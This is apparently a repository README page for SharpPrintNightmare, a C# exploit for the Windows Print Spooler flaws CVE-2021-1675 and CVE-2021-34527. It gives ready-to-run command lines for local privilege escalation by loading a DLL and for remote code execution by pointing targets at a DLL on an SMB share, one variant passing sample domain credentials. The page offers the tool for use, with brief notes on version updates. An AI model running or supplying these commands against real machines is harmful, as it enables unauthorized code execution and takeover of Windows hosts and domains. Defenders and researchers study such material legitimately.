You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

825 B

C# Implementation of CVE-2021-1675 / CVE-2021-34527


New has been uploaded which will get the same result as the C# version

No longer need to manually specify pConfigFile with C# version


The RCE functionality might need to be executed with local administrator privileges on YOUR machine.

C:\SharpPrintNightmare.exe C:\addCube.dll

#RCE using existing context
SharpPrintNightmare.exe '\\\smb\addCube.dll' '\\'

#RCE using runas /netonly
SharpPrintNightmare.exe '\\\smb\addCube.dll' '\\' hackit.local domain_user Pass123


For contributing new ideas or exploit improvements, thanks to